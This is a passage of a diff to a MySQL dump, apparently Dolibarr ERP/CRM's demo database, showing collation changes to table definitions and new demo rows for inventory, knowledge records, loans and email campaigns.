ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8301,6 +7592,7 @@ CREATE TABLE `llx_hrm_skillrank` ( LOCK TABLES `llx_hrm_skillrank` WRITE; /*!40000 ALTER TABLE `llx_hrm_skillrank` DISABLE KEYS */; +INSERT INTO `llx_hrm_skillrank` VALUES (1,1,0,1,'2023-01-05 09:45:09','2023-01-05 12:45:09',12,NULL,'job'); /*!40000 ALTER TABLE `llx_hrm_skillrank` ENABLE KEYS */; UNLOCK TABLES; @@ -8314,9 +7606,9 @@ DROP TABLE IF EXISTS `llx_import_model`; CREATE TABLE `llx_import_model` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_user` int(11) NOT NULL DEFAULT 0, - `label` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - `type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `field` text COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(50) NOT NULL, + `type` varchar(64) DEFAULT NULL, + `field` text NOT NULL, `entity` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_import_model` (`label`,`type`) @@ -8342,13 +7634,13 @@ DROP TABLE IF EXISTS `llx_intracommreport`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_intracommreport` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) CHARACTER SET utf8mb4 NOT NULL, + `ref` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `type_declaration` varchar(32) CHARACTER SET utf8mb4 DEFAULT NULL, - `periods` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `mode` varchar(32) CHARACTER SET utf8mb4 DEFAULT NULL, - `content_xml` text CHARACTER SET utf8mb4 DEFAULT NULL, - `type_export` varchar(10) CHARACTER SET utf8mb4 DEFAULT NULL, + `type_declaration` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `periods` varchar(32) DEFAULT NULL, + `mode` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `content_xml` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `type_export` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`) @@ -8373,11 +7665,11 @@ DROP TABLE IF EXISTS `llx_inventory`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_inventory` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(64) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_warehouse` int(11) DEFAULT NULL, `date_inventory` date DEFAULT NULL, - `title` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `title` varchar(255) DEFAULT NULL, `status` int(11) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `date_validation` datetime DEFAULT NULL, @@ -8385,9 +7677,10 @@ CREATE TABLE `llx_inventory` ( `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `datec` datetime DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, + `categories_product` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_inventory_ref` (`ref`,`entity`), KEY `idx_inventory_rowid` (`rowid`), @@ -8407,7 +7700,7 @@ CREATE TABLE `llx_inventory` ( LOCK TABLES `llx_inventory` WRITE; /*!40000 ALTER TABLE `llx_inventory` DISABLE KEYS */; -INSERT INTO `llx_inventory` VALUES (1,'aaa',1,NULL,NULL,'aa aaa',0,'2020-01-10 01:41:10',NULL,'2020-01-09 21:41:10',12,12,NULL,NULL,NULL,4); +INSERT INTO `llx_inventory` VALUES (1,'aaa',1,NULL,NULL,'aa aaa',0,'2020-01-10 01:41:10',NULL,'2020-01-09 21:41:10',12,12,NULL,NULL,NULL,4,NULL); /*!40000 ALTER TABLE `llx_inventory` ENABLE KEYS */; UNLOCK TABLES; @@ -8422,7 +7715,7 @@ CREATE TABLE `llx_inventory_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_inventory_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8451,7 +7744,7 @@ CREATE TABLE `llx_inventorydet` ( `fk_inventory` int(11) DEFAULT 0, `fk_warehouse` int(11) DEFAULT 0, `fk_product` int(11) DEFAULT 0, - `batch` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(30) DEFAULT NULL, `qty_view` double DEFAULT NULL, `qty_stock` double DEFAULT NULL, `qty_regulated` double DEFAULT NULL, @@ -8484,25 +7777,25 @@ DROP TABLE IF EXISTS `llx_knowledgemanagement_knowledgerecord`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_knowledgemanagement_knowledgerecord` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(128) NOT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `question` text COLLATE utf8mb3_unicode_ci NOT NULL, - `answer` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `question` text NOT NULL, + `answer` text DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, `fk_ticket` int(11) DEFAULT NULL, `fk_c_ticket_category` int(11) DEFAULT NULL, `status` int(11) NOT NULL, - `lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(6) DEFAULT NULL, `entity` int(11) DEFAULT 1, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8511,7 +7804,7 @@ CREATE TABLE `llx_knowledgemanagement_knowledgerecord` ( LOCK TABLES `llx_knowledgemanagement_knowledgerecord` WRITE; /*!40000 ALTER TABLE `llx_knowledgemanagement_knowledgerecord` DISABLE KEYS */; -INSERT INTO `llx_knowledgemanagement_knowledgerecord` VALUES (1,'(PROV1)','2022-02-07 13:40:53','2022-02-07 13:40:53',NULL,12,NULL,NULL,NULL,NULL,'This is a FAQ 1','And this is the solution of the FAQ 1',NULL,NULL,NULL,0,'en_US',1),(2,'KM2202-0001','2022-02-07 13:50:46','2022-02-07 13:50:49',NULL,12,NULL,12,NULL,NULL,'This is a FAQ 2','This is solution of FAQ 2',NULL,NULL,NULL,1,'',1); +INSERT INTO `llx_knowledgemanagement_knowledgerecord` VALUES (1,'(PROV1)','2022-02-07 13:40:53','2022-02-07 13:40:53',NULL,12,NULL,NULL,NULL,NULL,'This is a FAQ 1','And this is the solution of the FAQ 1',NULL,NULL,NULL,0,'en_US',1),(2,'KM2202-0001','2022-02-07 13:50:46','2022-02-07 13:50:49',NULL,12,NULL,12,NULL,NULL,'This is a FAQ 2','This is solution of FAQ 2',NULL,NULL,NULL,1,'',1),(3,'KM2302-0002','2023-02-22 11:06:47','2023-02-22 14:10:20',NULL,12,NULL,12,NULL,NULL,'ggdf','gfdgdfg',NULL,NULL,1,1,'',1); /*!40000 ALTER TABLE `llx_knowledgemanagement_knowledgerecord` ENABLE KEYS */; UNLOCK TABLES; @@ -8526,7 +7819,7 @@ CREATE TABLE `llx_knowledgemanagement_knowledgerecord_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -8551,9 +7844,9 @@ CREATE TABLE `llx_links` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, `datea` datetime NOT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `objecttype` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `url` varchar(255) NOT NULL, + `label` varchar(255) NOT NULL, + `objecttype` varchar(255) NOT NULL, `objectid` int(11) NOT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_links` (`objectid`,`label`) @@ -8582,21 +7875,21 @@ CREATE TABLE `llx_loan` ( `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(80) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(80) NOT NULL, `fk_bank` int(11) DEFAULT NULL, `capital` double(24,8) DEFAULT NULL, `datestart` date DEFAULT NULL, `dateend` date DEFAULT NULL, `nbterm` double DEFAULT NULL, `rate` double NOT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `capital_position` double(24,8) DEFAULT NULL, `date_position` date DEFAULT NULL, `paid` smallint(6) NOT NULL DEFAULT 0, - `accountancy_account_capital` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_account_insurance` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_account_interest` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_account_capital` varchar(32) DEFAULT NULL, + `accountancy_account_insurance` varchar(32) DEFAULT NULL, + `accountancy_account_interest` varchar(32) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, @@ -8612,7 +7905,7 @@ CREATE TABLE `llx_loan` ( LOCK TABLES `llx_loan` WRITE; /*!40000 ALTER TABLE `llx_loan` DISABLE KEYS */; -INSERT INTO `llx_loan` VALUES (1,1,'2019-12-26 01:56:08','2019-12-25 21:56:08','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,0,'164','11','11',12,NULL,1,NULL,0.00000000),(2,1,'2019-12-26 01:58:27','2019-12-25 22:12:50','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,0,'164','11','11',12,NULL,1,4,0.00000000),(3,1,'2019-12-26 01:58:59','2019-12-25 21:58:59','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,0,'164','11','11',12,NULL,1,NULL,0.00000000); +INSERT INTO `llx_loan` VALUES (1,1,'2019-12-26 01:56:08','2019-12-25 21:56:08','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,0,'164','11','11',12,NULL,1,NULL,0.00000000),(2,1,'2019-12-26 01:58:27','2019-12-25 22:12:50','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,0,'164','11','11',12,NULL,1,4,0.00000000),(3,1,'2019-12-26 01:58:59','2023-02-16 10:59:23','aaaa',4,1000.00000000,'2019-12-25','2020-12-25',2,0.5,'','',NULL,NULL,2,'164','11','11',12,NULL,1,NULL,0.00000000); /*!40000 ALTER TABLE `llx_loan` ENABLE KEYS */; UNLOCK TABLES; @@ -8633,9 +7926,9 @@ CREATE TABLE `llx_loan_schedule` ( `amount_insurance` double(24,8) DEFAULT NULL, `amount_interest` double(24,8) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `fk_bank` int(11) NOT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -8668,8 +7961,8 @@ CREATE TABLE `llx_localtax` ( `datep` date DEFAULT NULL, `datev` date DEFAULT NULL, `amount` double NOT NULL DEFAULT 0, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -8696,18 +7989,18 @@ DROP TABLE IF EXISTS `llx_mailing`; CREATE TABLE `llx_mailing` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `statut` smallint(6) DEFAULT 0, - `titre` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `titre` varchar(128) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `sujet` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `body` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bgcolor` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bgimage` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cible` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `sujet` varchar(128) DEFAULT NULL, + `body` mediumtext DEFAULT NULL, + `bgcolor` varchar(8) DEFAULT NULL, + `bgimage` varchar(255) DEFAULT NULL, + `cible` varchar(60) DEFAULT NULL, `nbemail` int(11) DEFAULT NULL, - `email_from` varchar(160) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_replyto` varchar(160) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_errorsto` varchar(160) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tag` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email_from` varchar(160) DEFAULT NULL, + `email_replyto` varchar(160) DEFAULT NULL, + `email_errorsto` varchar(160) DEFAULT NULL, + `tag` varchar(128) DEFAULT NULL, `date_creat` datetime DEFAULT NULL, `date_valid` datetime DEFAULT NULL, `date_appro` datetime DEFAULT NULL, @@ -8715,15 +8008,15 @@ CREATE TABLE `llx_mailing` ( `fk_user_creat` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, `fk_user_appro` int(11) DEFAULT NULL, - `joined_file1` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `joined_file2` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `joined_file3` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `joined_file4` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `joined_file1` varchar(255) DEFAULT NULL, + `joined_file2` varchar(255) DEFAULT NULL, + `joined_file3` varchar(255) DEFAULT NULL, + `joined_file4` varchar(255) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `uk_mailing` (`titre`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8732,7 +8025,7 @@ CREATE TABLE `llx_mailing` ( LOCK TABLES `llx_mailing` WRITE; /*!40000 ALTER TABLE `llx_mailing` DISABLE KEYS */; -INSERT INTO `llx_mailing` VALUES (3,2,'Commercial emailing January',1,'Buy my product','
\"\"
\r\n\"Seguici\"Seguici\"Seguici\"Seguici
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n

DoliCloud is the service to provide you a web hosting solution of Dolibarr ERP CRM in one click. Just enter your email to create your instance and you are ready to work. Backup and full access is to data (SFTP, Mysql) are provided.

\r\n
\r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
Test Dolibarr ERP CRM on Dolicloud →
\r\n
\r\n
\r\n
\r\n
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
DoliCloud team
\r\n Unsubscribe   |   View on web browser
\r\n
\r\n
','','',NULL,26,'dolibarr@domain.com','','',NULL,'2012-07-11 13:15:59','2017-01-29 21:33:11',NULL,'2017-01-29 21:36:40',1,12,NULL,NULL,NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(4,0,'Commercial emailing February',1,'Buy my product','This is a new éEéé\"Mailing content
\r\n
\r\n\r\nYou can adit it with the WYSIWYG editor.
\r\nIt is\r\n
    \r\n
  • \r\n Fast
  • \r\n
  • \r\n Easy to use
  • \r\n
  • \r\n Pretty
  • \r\n
','','',NULL,NULL,'dolibarr@domain.com','','',NULL,'2013-07-18 20:44:33',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(5,1,'Commercial emailing March',1,'Test for free Dolibarr ERP CRM - no credit card required','
\"\"
\r\n\"Seguici\"Seguici\"Seguici\"Seguici
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n

DoliCloud is the service to provide you a web hosting solution __EMAIL__ of Dolibarr ERP CRM in one click. Just enter your email to create your instance and you are ready to work. Backup and full access is to data (SFTP, Mysql) are provided.

\r\n
\r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
Test Dolibarr ERP CRM on Dolicloud →
\r\n
\r\n
\r\n
\r\n
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
DoliCloud team
\r\n Unsubscribe   |   View on web browser
\r\n
\r\n
','e5e5e5','',NULL,28,'dolibarr@domain.com','','',NULL,'2017-01-29 21:47:37','2019-12-21 20:23:29',NULL,NULL,12,12,NULL,NULL,NULL,NULL,NULL,NULL,'2019-12-21 16:23:29'); +INSERT INTO `llx_mailing` VALUES (3,2,'Commercial emailing January',1,'Buy my product','
\"\"
\r\n\"Seguici\"Seguici\"Seguici\"Seguici
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n

DoliCloud is the service to provide you a web hosting solution of Dolibarr ERP CRM in one click. Just enter your email to create your instance and you are ready to work. Backup and full access is to data (SFTP, Mysql) are provided.

\r\n
\r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
Test Dolibarr ERP CRM on Dolicloud →
\r\n
\r\n
\r\n
\r\n
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
DoliCloud team
\r\n Unsubscribe   |   View on web browser
\r\n
\r\n
','','',NULL,26,'dolibarr@domain.com','','',NULL,'2012-07-11 13:15:59','2017-01-29 21:33:11',NULL,'2017-01-29 21:36:40',1,12,NULL,NULL,NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(4,0,'Commercial emailing February',1,'Buy my product','This is a new éEéé\"Mailing content
\r\n
\r\n\r\nYou can adit it with the WYSIWYG editor.
\r\nIt is\r\n
    \r\n
  • \r\n Fast
  • \r\n
  • \r\n Easy to use
  • \r\n
  • \r\n Pretty
  • \r\n
','','',NULL,NULL,'dolibarr@domain.com','','',NULL,'2013-07-18 20:44:33',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(5,1,'Commercial emailing March',1,'Test for free Dolibarr ERP CRM - no credit card required','
\"\"
\r\n\"Seguici\"Seguici\"Seguici\"Seguici
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n

DoliCloud is the service to provide you a web hosting solution __EMAIL__ of Dolibarr ERP CRM in one click. Just enter your email to create your instance and you are ready to work. Backup and full access is to data (SFTP, Mysql) are provided.

\r\n
\r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
Test Dolibarr ERP CRM on Dolicloud →
\r\n
\r\n
\r\n
\r\n
\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
\r\n \r\n \r\n \r\n \r\n \r\n \r\n
DoliCloud team
\r\n Unsubscribe   |   View on web browser
\r\n
\r\n
','e5e5e5','',NULL,28,'dolibarr@domain.com','','',NULL,'2017-01-29 21:47:37','2019-12-21 20:23:29',NULL,NULL,12,12,NULL,NULL,NULL,NULL,NULL,NULL,'2019-12-21 16:23:29'),(6,3,'Copy of Commercial emailing March Feb 24, 2023',1,'Test for free Dolibarr ERP CRM - no credit card required','
\r\n\r\n
\r\n
\r\n

Parce que votre temps est précieux,
\r\nDoliCloud établit un partenariat avec MB TanaServices pour vous proposer un service complémentaire...

\r\n\r\n

 
\r\nA la recherche de la satisfaction complète de nos clients, DoliCloud et MB TanaServices s’associent dans le but d’unir leurs expertises en Dolibarr en vous offrant des services d’assistance de gestion externalisée.
\r\n 
\r\nBasées à Madagascar (pays francophone), les assistantes de gestion de MB TanaServices sont spécialisées sur l’outil Dolibarr. Elles sont disponibles à temps complet ou à temps partiel, pour vous permettre de déléguer vos tâches de gestion quotidiennes fastidieuses et/ou répétitives.
\r\n
\r\nMB TanaServices propose également des formations à l’utilisation de Dolibarr et de l’assistance pour le paramétrage ou l’installation des modules complémentaires.
\r\n 
\r\nGagner du temps au quotidien et concentrez-vous sur votre cœur de métier.
\r\n 
\r\nMB TanaServices offre la mise en place du processus d'assistanat ainsi que le premier mois gratuit (sans engagement) aux premiers inscrits.
\r\n 
\r\nPour plus d’informations, suivre le lien :  https://www.dolicloud.com/fr/beneficier-d-une-assistance-de-gestion-pour-dolibarr.php
\r\nContactez directement Olivier Bayle, gérant de MB TanaServices :  contact@tana-services.com  ou Whatsapp : +261 34 92 623 84

\r\n
\r\n
\r\nPour ne plus recevoir d'information sur nos partenariats: Cliquez ici

\r\n
\r\n\r\n
__SENDEREMAIL_SIGNATURE__
\r\n
\r\n__CHECK_READ__
','e5e5e5','',NULL,4,'dolibarr@domain.com','','',NULL,'2023-02-24 21:37:16','2023-02-25 00:01:46',NULL,'2023-02-25 00:02:21',12,12,NULL,NULL,NULL,NULL,NULL,NULL,'2023-02-25 03:02:21'); /*!40000 ALTER TABLE `llx_mailing` ENABLE KEYS */; UNLOCK TABLES; @@ -8745,15 +8038,15 @@ DROP TABLE IF EXISTS `llx_mailing_advtarget`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_mailing_advtarget` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(200) COLLATE utf8mb3_unicode_ci NOT NULL, + `name` varchar(200) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `filtervalue` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `filtervalue` text DEFAULT NULL, `fk_user_author` int(11) NOT NULL, `datec` datetime NOT NULL, `fk_user_mod` int(11) NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_element` int(11) NOT NULL, - `type_element` varchar(180) COLLATE utf8mb3_unicode_ci NOT NULL, + `type_element` varchar(180) NOT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_advtargetemailing_name` (`name`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -8779,23 +8072,23 @@ CREATE TABLE `llx_mailing_cibles` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_mailing` int(11) NOT NULL, `fk_contact` int(11) NOT NULL, - `lastname` varchar(160) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `firstname` varchar(160) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(160) COLLATE utf8mb3_unicode_ci NOT NULL, - `other` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tag` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lastname` varchar(160) DEFAULT NULL, + `firstname` varchar(160) DEFAULT NULL, + `email` varchar(160) NOT NULL, + `other` varchar(255) DEFAULT NULL, + `tag` varchar(64) DEFAULT NULL, `statut` smallint(6) NOT NULL DEFAULT 0, - `source_url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `source_url` varchar(255) DEFAULT NULL, `source_id` int(11) DEFAULT NULL, - `source_type` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `source_type` varchar(32) DEFAULT NULL, `date_envoi` datetime DEFAULT NULL, - `error_text` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `error_text` varchar(255) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `uk_mailing_cibles` (`fk_mailing`,`email`), KEY `idx_mailing_cibles_email` (`email`), KEY `idx_mailing_cibles_tag` (`tag`) -) ENGINE=InnoDB AUTO_INCREMENT=60 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=64 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -8804,7 +8097,7 @@ CREATE TABLE `llx_mailing_cibles` ( LOCK TABLES `llx_mailing_cibles` WRITE; /*!40000 ALTER TABLE `llx_mailing_cibles` DISABLE KEYS */; -INSERT INTO `llx_mailing_cibles` VALUES (1,1,0,'Dupont','Alain','toto@aa.com','Date fin=10/07/2011',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(2,2,0,'Swiss customer supplier','','abademail@aa.com','',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(3,2,0,'Smith Vick','','vsmith@email.com','',NULL,0,'0',NULL,NULL,NULL,NULL,'2019-11-28 11:52:54'),(4,3,0,'Swiss customer supplier','','abademail@aa.com','',NULL,1,'0',NULL,NULL,'2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(5,3,0,'Smith Vick','','vsmith@email.com','',NULL,1,'0',NULL,NULL,'2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(7,3,0,'Name 2','Firstname 2','emailtest2@example.com','','522b79aedf231576db576d246d82a0d7',1,'',NULL,'file','2017-01-29 21:36:40',NULL,'2019-11-28 11:52:54'),(8,3,0,'Name 3','Firstname 3','emailtest3@example.com','','f3e74e96a64068093af469b6826a75bf',1,'',NULL,'file','2017-01-29 